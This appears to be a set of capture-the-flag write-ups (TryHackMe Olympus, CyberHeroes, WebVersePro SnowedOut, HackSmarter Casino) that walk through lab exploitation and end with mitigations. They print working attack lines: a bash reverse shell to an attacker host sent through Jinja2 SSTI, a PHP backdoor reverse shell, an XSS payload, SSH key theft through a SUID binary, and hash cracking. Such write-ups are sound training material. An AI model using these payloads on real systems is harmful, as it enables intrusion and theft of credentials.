flag{REDACTED}

/home/zeus/.ssh denies access directly, but a SUID binary owned by
zeus was found:

find / -perm -4000 2>/dev/null | grep cputils
-rwsr-xr-x 1 zeus zeus 17728 Apr 18  2022 /usr/bin/cputils

cputils is a simple file-copy utility that runs with zeus's effective
UID, so it can read files www-data otherwise cannot:

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/authorized_keys
Enter the Name of Target File: /tmp/auth_keys
File copied successfully.

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.

Both files were copied out to /tmp, giving zeus's SSH keypair.

9. Cracking the SSH Key and Logging in as zeus

ssh2john zeus-key > zeus-hash
john --wordlist=/usr/share/wordlists/rockyou.txt zeus-hash

snowflake        (zeus-key)

ssh -i zeus-key zeus@olympus.thm

zeus@<MACHINE_IP>:~$ cat user.flag
flag{REDACTED}

sudo -l failed (no known password), and standard privesc checks
(SUID binaries, find -group adm, listening ports, ps aux) did not
turn up anything further directly - the actual path forward was a file
zeus had incidental access to.

10. Root via a Leftover Backdoor Webshell

find / -user zeus 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'
...
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/index.html
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php

ls -la /var/www/html/
drwxrwx--x 2 root zeus 4096 Jul 15  2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc

The directory is root:zeus with group execute/read, so zeus can enter
it and read its contents (but not list it via a plain top-level listing).
Inside is a password-gated PHP reverse-shell backdoor, apparently planted
by prometheus per the earlier note ("I've now got a permanent access as
a super user to the olympus"):

<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form ...>Password: ...</form>');
...
$shell = "uname -a; w; $suid_bd";
...

Because zeus can read the file directly, the hardcoded password is
visible in the source - no cracking needed. The script is a classic
fsockopen reverse shell gated by that password and driven by ?ip= and
?port= GET parameters.

Browsing to it and POSTing the password confirms the usage banner:

GET /0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
POST password=a7c5ffcf139742f52a5267c4a0674129

snodew reverse root shell backdoor
Usage:
Locally: nc -vlp [port]
Remote: <MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=[destination of listener]&port=[listening port]

Triggering it against a listener:

penelope listen -p 4444

http://<MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=<ATTACKER_IP>&port=4444

(POST the password first via the form, then load the ?ip=&port= URL.)

[+] [New Reverse Shell] => root(0)
root@<MACHINE_IP>:/# whoami
root
root@<MACHINE_IP>:/# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),7777(web)

11. Root and Bonus Flags

cat /root/root.flag

                You did it, you defeated the gods.
                        Hope you had fun !

                   flag{REDACTED}

PS : Prometheus left a hidden flag, try and find it !
     I recommend logging as root over ssh to look for it ;)
     (Hint : regex can be usefull)

Following the hint:

grep -r "flag{" / --exclude-dir={proc,sys,dev,snap} 2>/dev/null

/root/root.flag:               flag{REDACTED}
/home/zeus/user.flag:          flag{REDACTED}
/etc/ssl/private/.b0nus.fl4g:  flag{REDACTED}
Binary file /var/lib/mysql/olympus/flag.ibd matches

A fourth, hidden flag was sitting in /etc/ssl/private/.b0nus.fl4g, only
findable by grepping the filesystem as root as the note suggested.

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Unauthenticated SQL injection	`~webmaster/search.php` (`search`)	Full DB dump: flag, user hashes, chat log (root cause of the whole chain)
2	Weak / reused password	`prometheus` account	Cracked via rockyou (`summertime`); unlocked CMS admin and chat app
3	Randomized-filename upload protection defeated	`chat.olympus.thm` upload + `chats` table	Real stored filename recoverable via SQLi, enabling direct access to an uploaded PHP reverse shell
4	Unrestricted file upload	`chat.olympus.thm` upload endpoint	RCE as `www-data` via uploaded `.php` shell
5	SUID utility usable as arbitrary-file-read-as-owner	`/usr/bin/cputils` (SUID `zeus`)	`www-data` used it to copy `zeus`'s SSH private key out of an otherwise inaccessible `.ssh` directory
6	Weak SSH key passphrase	`zeus`'s `id_rsa`	Cracked via rockyou (`snowflake`); gave interactive SSH as `zeus`
7	Leftover password-protected backdoor webshell, password recoverable via file permissions	`/var/www/html/<random-dir>/VIGQFQFMYOST.php`, `root:zeus` directory perms	`zeus` group membership let it read the hardcoded backdoor password; running it gave a root shell

Attack Chain

olympus.thm (port 80)
  |
  |-- dirsearch/ffuf -> /~webmaster/ (Victor CMS 1.0)
        |
        |-- searchsploit -> known 'search' SQLi (EDB-48734)
              |
              |-- sqlmap -> dump DB
                    |-- flag table  -> flag 1
                    |-- users table -> bcrypt hashes
                          |
                          |-- john + rockyou -> prometheus:summertime
                                |
                                |-- CMS admin login -> confirms chat.olympus.thm
                                      |
                                      |-- chat.olympus.thm login (same creds)
                                            |
                                            |-- upload rev.php
                                            |-- chats table (via SQLi) -> real uploaded filename
                                            |-- request shell -> www-data
                                                  |
                                                  |-- SUID cputils (owned by zeus)
                                                  |     -> copy zeus's authorized_keys + id_rsa
                                                  |
                                                  |-- ssh2john + john + rockyou -> id_rsa passphrase: snowflake
                                                        |
                                                        |-- ssh as zeus -> flag 2 (user)
                                                              |
                                                              |-- find -user zeus -> root:zeus web directory
                                                              |-- read backdoor PHP source -> hardcoded password
                                                              |-- trigger backdoor (?ip=&port=) -> root
                                                                    |
                                                                    |-- flag 3 (root)
                                                                    |-- grep -r "flag{" / -> flag 4 (bonus, /etc/ssl/private/.b0nus.fl4g)

Mitigations

Parameterize the search.php query (prepared statements) to close the SQL injection entry point the entire chain depends on.
Enforce a password policy / reject breached passwords so accounts like prometheus and SSH keys like zeus's aren't crackable from a common wordlist in minutes.
Do not rely on an unguessable filename as the only upload control - pair it with strict extension/MIME allow-listing, storage outside the webroot, and disabling script execution in the upload directory; and never let application data (the chats table) hold the mapping from a guessable identifier back to the real protected filename.
Remove SUID bits from utilities that don't need them, or have them validate that the invoking user actually owns/can already access the source path before copying it - cputils should not let www-data read zeus's private files just because the binary itself is owned by zeus.
Audit and remove leftover attacker tooling (backdoor webshells, planted scripts) instead of leaving it in place with only a hardcoded password for protection - and don't leave application/webroot directories group-readable to standard user accounts.
Rotate and re-secure the box entirely after any confirmed compromise; the prometheus.txt note makes clear a prior attacker had already established persistent root access before this engagement began.

TryHackMe - CyberHeroes Writeup

Yogeshwar Peela — Wed, 09 Sep 2026 15:28:58 +0000

Summary

CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of login.html reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.

Target: <MACHINE_IP>
Category: Web
Difficulty: Easy
Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials

1. Reconnaissance

Confirmed host is up and scanned open ports:

nmap -A -Pn <MACHINE_IP> -o nmap

Results:

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)

http-title identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.

2. Initial Web Enumeration

Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.

The index page's About section directly hints at the objective:

We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.

Nav bar links to login.html.

3. Directory Enumeration

gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50

Notable results:

assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]

No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.

4. Inspecting login.html

Fetched the login page source directly:

curl http://<MACHINE_IP>/login.html

The page ships an inline <script> block containing the entire authentication logic:

function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str => [...str].reverse().join('');
  if (a.value=="h3ck3rBoi" & b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}

Two things fall out of this immediately:

The credential check happens entirely client-side, with the username hardcoded (h3ck3rBoi) and the password only lightly obfuscated via string reversal.
On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.

5. Recovering the Credentials

Reversing the obfuscated password string by hand:

54321@terceSrepuS  ->  SuperSecret@12345

Recovered credentials:

username: h3ck3rBoi
password: SuperSecret@12345

6. Retrieving the Flag

Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:

curl "http://<MACHINE_IP>/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"

Response:

Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Client-side authentication logic	`login.html` inline `<script>`	Credentials and pass/fail logic fully readable in page source, no server-side verification
2	Weak obfuscation (string reversal) of password	Inline JS `RevereString()`	Trivial to reverse by hand, provides no real protection
3	Predictable, credential-derived sensitive file path	Inline JS `xhttp.open(...)` URL construction	Flag/secret file directly retrievable via curl once credentials are known, without ever executing the JS or submitting the form

Attack Chain

Recon (nmap: 22, 80 open)

    |

    v

Enumerate index.html -> hints at login.html

    |

    v

gobuster -> confirms login.html, no backend endpoints

    |

    v

curl login.html -> read inline <script> source

    |

    v

Extract hardcoded username + reverse obfuscated password

    |

    v

Derive flag filename from JS template string (no browser needed)

    |

    v

curl flag file directly -> flag captured

Mitigations

Never perform authentication decisions client-side; all credential validation must happen on a trusted server, with the client only submitting credentials over an authenticated session.
Do not rely on obfuscation (encoding, reversal, simple ciphers) as a substitute for real access control - anything shipped to the client is fully readable by the client.
Do not derive sensitive resource paths (flags, secrets, admin files) from data that is already exposed to the client, such as hardcoded credentials in JS - this makes the resource trivially reachable without ever satisfying the intended check.
Serve sensitive files only behind server-side, session-validated access checks, and avoid predictable or pattern-based filenames for anything not meant to be publicly enumerable.

WebVersePro : SnowedOut writeup

Yogeshwar Peela — Tue, 01 Sep 2026 13:03:18 +0000

1. Overview

The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a zone GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.

2. Recon

Fetching the root page:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/

Three things stand out in the HTML:

The zone value is reflected into an inline <script> block that builds a config object:

  <script nonce="...">
  var CFG = {zone:"Citywide", center:[44.86,-93.42], updatedEvery:900};
  </script>

A hidden solve banner sits in the markup, unused until triggered:

  <div id="wv-solve" class="pt-solve" hidden></div>

poll.js polls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:

  fetch("/__status.php", { credentials: "include" })
    .then(r => r.json())
    .then(d => { if (d && d.solved && d.flag) reveal(d.flag); });

Checking that endpoint directly confirms a simple state machine:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
# {"solved":false,"flag":null}

So the actual win condition is flipping solved to true server-side - not merely getting an alert() box to pop in a browser. robots.txt and the other static assets (map.js, plow.css) contain nothing else of interest; map.js reads CFG.zone and writes it back to the DOM safely via textContent.

3. Confirming the Injection Point

Testing whether zone is escaped when reflected into the inline script:

curl -s 'https://.../?zone=test123' | grep -o 'var CFG = {.*}'
# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};

Trying to break out of the string with a JS-context payload:

curl -s -G 'https://.../' --data-urlencode 'zone="};alert(1);//' \
  | grep -o 'var CFG = {.*}'

var CFG = {zone:""};alert(1);//", center:[44.86,-93.42], updatedEvery:900};

The value is interpolated into the script with no escaping of quotes. zone:"" closes the string and the object literal early, }; ends the statement, alert(1); becomes live JavaScript, and the trailing // comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the alert(1) fires.

4. Reading the CSP Header

curl -s -I https://.../ | grep -i content-security

content-security-policy-report-only: default-src 'self'; script-src 'nonce-<per-response>' 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; report-uri /__csp-report.php

Two details matter:

It's Content-Security-Policy-Report-Only, not an enforcing Content-Security-Policy. Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injected alert(1) from running.
Even if it were enforcing, the nonce wouldn't help here. The injected code isn't a new <script> tag - it executes inside the same inline <script nonce="..."> block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.

The policy does point violation reports at a dedicated endpoint, /__csp-report.php - worth noting for later.

5. Dead Ends: Chasing a Classic XSS Detector

Before finding the real solve condition, it's worth documenting what doesn't work, since this challenge deliberately avoids the usual patterns:

Just popping alert(1) and re-checking /__status.php - no change. There's no headless browser on the server watching for a JS-level side effect from a single request.
Exfiltrating to an external webhook (fetch("https://webhook.site/...") injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.
Directly POSTing to /__status.php (e.g. -d 'solved=true') - rejected; the endpoint doesn't accept client-supplied state.

This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.

6. The Actual Solve Condition

Since the CSP is report-only and report-uri points at /__csp-report.php, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.

Sending a crafted report that matches the shape a real browser would produce for this exact policy:

curl -s -X POST 'https://.../__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{
    "csp-report": {
      "document-uri": "https://.../?zone=test",
      "violated-directive": "script-src",
      "original-policy": "default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php",
      "blocked-uri": "inline",
      "source-file": "https://.../?zone=test",
      "line-number": 1,
      "column-number": 1,
      "status-code": 200
    }
  }' \
  -c cookies.txt

Server responds 204 No Content and sets a session cookie. Re-checking the status endpoint with that cookie:

curl -s -b cookies.txt https://.../__status.php

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

The session is now marked solved, and poll.js in a real browser would reveal the on-page banner with the flag.

7. Full Reproduction (Copy-Paste)

# 1. Confirm the JS-context injection (optional, for verification)
curl -s -G 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/' \
  --data-urlencode 'zone="};alert(1);//' | grep -o 'var CFG = {.*}'

# 2. Submit a CSP violation report matching the page's policy, saving the session cookie
curl -s -X POST 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}' \
  -c cookies.txt

# 3. Retrieve the flag
curl -s -b cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php

Result:

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

8. Root Cause

Unescaped reflection into a JS string literal. The zone query parameter is written directly into an inline <script> block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.
CSP deployed in report-only mode. A correctly configured nonce-based script-src would ordinarily stop injected <script> tags, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.
The report endpoint trusts client-submitted reports as proof of exploitation, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.

9. Fix Recommendations

Never interpolate user input into inline <script> source via string concatenation. Encode values with JSON.stringify() (escaping <, >, &, and quotes) before embedding them, or better, pass data via a data-* attribute and read it with textContent/getAttribute, as map.js already does safely elsewhere on this page.
Enforce the CSP (Content-Security-Policy, not -Report-Only) so that even if an injection point exists, arbitrary inline script still can't execute.
If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate document-uri/blocked-uri with a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.

HackSmarter - Casino Writeup

Yogeshwar Peela — Tue, 25 Aug 2026 13:04:45 +0000

Summary

Casino is a Flask-based "Guest WiFi & Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (/api/v1/rooms/status) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a display_name field on /profile that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as www-data inside the app's Docker container. From there, a readable .bash_history in another user's home directory leaks a plaintext MySQL password that gets reused as a local su password, and group membership in adm grants read access to a provisioning log containing the root sync credential, which fully compromises the host.

Recon

Full TCP scan:

nmap -A -p- <MACHINE-IP> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi & Portal".

Content discovery:

dirsearch -u http://<MACHINE-IP>/ -x 403,404

[07:42:29] 200 -    5KB - /login

whatweb http://<MACHINE-IP>/

http://<MACHINE-IP>/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://<MACHINE-IP>/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...

Everything unauthenticated redirects to /login, which is a captive-portal-style form asking for a room number and a guest's last name.

Source map leak → unauthenticated API disclosure

The login page loads a minified script:

curl http://<MACHINE-IP>/static/js/app.min.js

function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");}document.addEventListener("DOMContentLoaded",initPortal);
//# sourceMappingURL=app.min.js.map

The sourcemap reference is still deployed and readable:

curl http://<MACHINE-IP>/static/js/app.min.js.map

{
  "version": 3,
  "file": "app.min.js",
  "sources": ["src/api/roomVerification.js"],
  "sourcesContent": [
    "// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}"
  ]
}

This is dead code (the minified bundle never actually calls checkRoomStatus), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at /api/v1/rooms/status. Hitting it directly, with no session and no auth:

curl 'http://<MACHINE-IP>/api/v1/rooms/status?status=occupied'

{
  "filter": "occupied",
  "rooms": [
    { "checkout": "2026-08-11", "guest_name": "[REDACTED]", "id": 1, "room_number": "[REDACTED]", "status": "occupied", "tier": "Standard Guest" },
    ...
    { "checkout": "2026-08-13", "guest_name": "[REDACTED]", "id": 98, "room_number": "[REDACTED]", "status": "occupied", "tier": "VIP Premium" }
  ],
  "status": "success",
  "total_records": 100
}

The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with room_number and guest_name (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.

Login bypass via leaked guest data

Picking an arbitrary entry (room [REDACTED], last name [REDACTED]) and logging in:

curl -i -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/login' \
  -d 'room_number=[REDACTED]' \
  -d 'last_name=[REDACTED]'

HTTP/1.1 302 FOUND
Location: /dashboard
Set-Cookie: session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/

The session cookie is enough to reach /dashboard, which now greets us as "[REDACTED]" in Room [REDACTED]: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.

SSTI discovery on /profile

The dashboard links to /profile, which has a single editable field, display_name, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  -d 'display_name={{7*7}}'

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, 49!</h5>
<input ... value="49" required>

{{7*7}} evaluated to 49, the field is passed straight into a Jinja2 render_template_string-style call with no sanitization or sandboxing. This is a textbook server-side template injection.

First RCE attempt — failed (shell quoting, not a WAF)

The obvious next step is breaking out to os.popen through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted -d arguments containing embedded single quotes around identifiers like 'os' and 'id'. Both attempts came back as HTTP/1.1 500 INTERNAL SERVER ERROR.

It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.

In POSIX shells, a ' always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal ' appears:

'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'

os and id are then evaluated as unquoted shell words, not literal text. Since there's no os or id command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers os and id are no longer inside quotes at all, from Jinja2's point of view that's a Python NameError / syntax error (os and id are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. -d also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.

The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in double quotes (so the payload's single quotes survive literally) and switching to --data-urlencode (so reserved characters like {, }, and spaces are sent correctly instead of raw) resolves it cleanly.

Successful RCE via `--data-urlencode`

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('id').read() }}"

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!</h5>
<input ... value="uid=33(www-data) gid=33(www-data) groups=33(www-data)
" required>

lipsum is one of Jinja2's default globals ({{ lipsum }} for generating placeholder text) and, like cycler, exposes __globals__ even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, os.popen('id').read() executes server-side and confirms code execution as www-data.

Reverse shell

With confirmed RCE, catching a shell with penelope:

penelope listen -p 4444

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1\"').read() }}"

[+] [New Reverse Shell] => 5ee06b607cca <MACHINE-IP> Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] Agent deployed via /usr/local/bin/python3

www-data@5ee06b607cca:/app/app$ whoami
www-data
www-data@5ee06b607cca:/app/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirming we're inside a Docker container

The shell prompt (5ee06b607cca) is a container-ID-style hostname, not a normal host name, and the app root confirms it:

www-data@5ee06b607cca:/app/app$ cd ..
www-data@5ee06b607cca:/app$ ls
Dockerfile  app  docker-compose.yml  entrypoint.sh  requirements.txt  scripts  start.sh  supervisord.conf
www-data@5ee06b607cca:/app$ cat Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap 'cap_net_bind_service=+ep' $(readlink -f $(which python3))
RUN mkdir -p /var/run/sshd
RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt
COPY . /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN chmod +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT ["/app/entrypoint.sh"]

So the whole box is a single Docker container running Flask (via supervisord), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.

App source, confirming the SSTI sink lives in the Flask route backing /profile (app.py) and that guest data is pulled from a local SQLite DB seeded at build time (database.py, deterministically seeded with random.seed(42), which is exactly why the guest API dump above was reproducible/enumerable):

www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data  4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data  4300 Aug  9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug  9 22:30 resort.db

Local enumeration → password reuse

www-data@5ee06b607cca:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app$ ls /home
david  george

Both george's and david's home directories are world-readable, and george's has a .bash_history sitting there with www-data permissions to read:

www-data@5ee06b607cca:/home/george$ cat .bash_history
cd /var/www/app
...
cd /home/george
ls -la
ssh-keygen -t rsa -b 2048
cat .ssh/id_rsa.pub >> .ssh/authorized_keys
chmod 644 .ssh/id_rsa
sudo systemctl restart ssh
...
su david
[REDACTED]
exit
history -c
mysql -u david -p'[REDACTED]' -h 127.0.0.1 resort_db
...

Two findings here:

chmod 644 .ssh/id_rsa: george made his own SSH private key world-readable (this is exactly the user.txt flag's hint).
su david / [REDACTED]: george typed david's su password directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.

george's user flag is readable directly as www-data:

www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}

Privilege escalation → david

www-data@5ee06b607cca:/home/george$ su david
Password: 
david@5ee06b607cca:/home/george$ id
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)

david isn't in sudoers:

david@5ee06b607cca:~$ sudo -l
[sudo] password for david: 
Sorry, user david may not run sudo on 5ee06b607cca.

But david is a member of the adm group, which on Debian/Ubuntu grants read access to most of /var/log, including files that are 640 root:adm:

david@5ee06b607cca:~$ ls -la /var/log
-rw-r----- 1 root adm     612 Aug 25 11:35 provisioning.log

david@5ee06b607cca:~$ grep -r root /var/log
/var/log/provisioning.log:2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
/var/log/provisioning.log:2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: [REDACTED]

A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in adm.

Root

david@5ee06b607cca:~$ su root
Password: 
root@5ee06b607cca:/home/david# whoami
root
root@5ee06b607cca:~# cat root.txt
HSM{REDACTED}

Attack Chain

Unauthenticated /login
        │
        ▼
Leaked sourcemap (app.min.js.map)
        │  reveals internal kiosk API path
        ▼
GET /api/v1/rooms/status?status=occupied  (no auth)
        │  dumps room_number + guest_name for all 100 guests
        ▼
POST /login  (room_number=[REDACTED], last_name=[REDACTED])
        │  guest account takeover via leaked data
        ▼
/profile → display_name reflected unsanitized
        │  Jinja2 SSTI ({{7*7}} → 49)
        ▼
{{ lipsum.__globals__['os'].popen(...) }}   [--data-urlencode fixes shell-quoting break]
        │  RCE as www-data (inside Docker container)
        ▼
Readable /home/george/.bash_history
        │  leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
        ▼
su david  (adm group membership)
        │  read access to /var/log/provisioning.log
        ▼
Plaintext root password in provisioning.log
        │
        ▼
su root → root.txt

Key Vulnerabilities & Mitigations

#	Vulnerability	Impact	Mitigation
1	Deployed JS sourcemap (`app.min.js.map`) leaks internal API path	Recon → exposes hidden endpoint	Never ship `.map` files to production; strip source maps in the build pipeline
2	`/api/v1/rooms/status` has no authentication	Full guest PII dump (room + last name), enables login bypass	Require session/auth on all internal APIs; never trust "kiosk-only" obscurity
